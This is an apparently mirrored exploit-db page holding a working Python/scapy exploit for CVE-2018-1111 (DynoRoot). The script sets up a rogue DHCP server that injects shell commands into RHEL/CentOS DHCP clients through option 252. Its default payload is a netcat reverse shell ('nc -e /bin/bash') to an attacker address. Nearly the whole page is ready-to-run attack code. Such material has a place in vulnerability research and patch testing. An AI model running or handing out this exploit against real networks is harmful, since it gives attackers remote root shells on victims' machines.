DynoRoot DHCP Client – Command Injection

  • 作者: Kevin Kirsche
    日期: 2018-05-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44652/
  • # Exploit Title: DynoRoot DHCP - Client Command Injection
    # Date: 2018-05-18
    # Exploit Author: Kevin Kirsche
    # Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
    # Exploit Discoverer: Felix Wilhelm
    # Vendor Homepage: https://www.redhat.com/
    # Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
    # Tested on: CentOS Linux release 7.4.1708 (Core)/ NetworkManager 1.8.0-11.el7_4
    # CVE : CVE-2018-1111
    
    #!/usr/bin/env python
    
    from argparse import ArgumentParser
    from scapy.all import BOOTP_am, DHCP
    from scapy.base_classes import Net
    
    
    class DynoRoot(BOOTP_am):
    function_name = "dhcpd"
    
    def make_reply(self, req):
    resp = BOOTP_am.make_reply(self, req)
    if DHCP in req:
    dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
    for op in req[DHCP].options
    if isinstance(op, tuple) and op[0] == "message-type"]
    dhcp_options += [("server_id", self.gw),
     ("domain", self.domain),
     ("router", self.gw),
     ("name_server", self.gw),
     ("broadcast_address", self.broadcast),
     ("subnet_mask", self.netmask),
     ("renewal_time", self.renewal_time),
     ("lease_time", self.lease_time),
     (252, "x'&{payload} #".format(payload=self.payload)),
     "end"
     ]
    resp /= DHCP(options=dhcp_options)
    return resp
    
    
    if __name__ == '__main__':
    parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')
    
    parser.add_argument('-i', '--interface', default='eth0', type=str,
    dest='interface',
    help='The interface to listen for DHCP requests on (default: eth0)')
    parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
    dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
    parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
    dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
    parser.add_argument('-d', '--domain', default='victim.net', type=str,
    dest='domain', help='Domain to assign (default: victim.net)')
    parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
    dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')
    
    args = parser.parse_args()
    server = DynoRoot(iface=args.interface, domain=args.domain,
    pool=Net(args.subnet),
    network=args.subnet,
    gw=args.gateway,
    renewal_time=600, lease_time=3600)
    server.payload = args.payload
    
    server()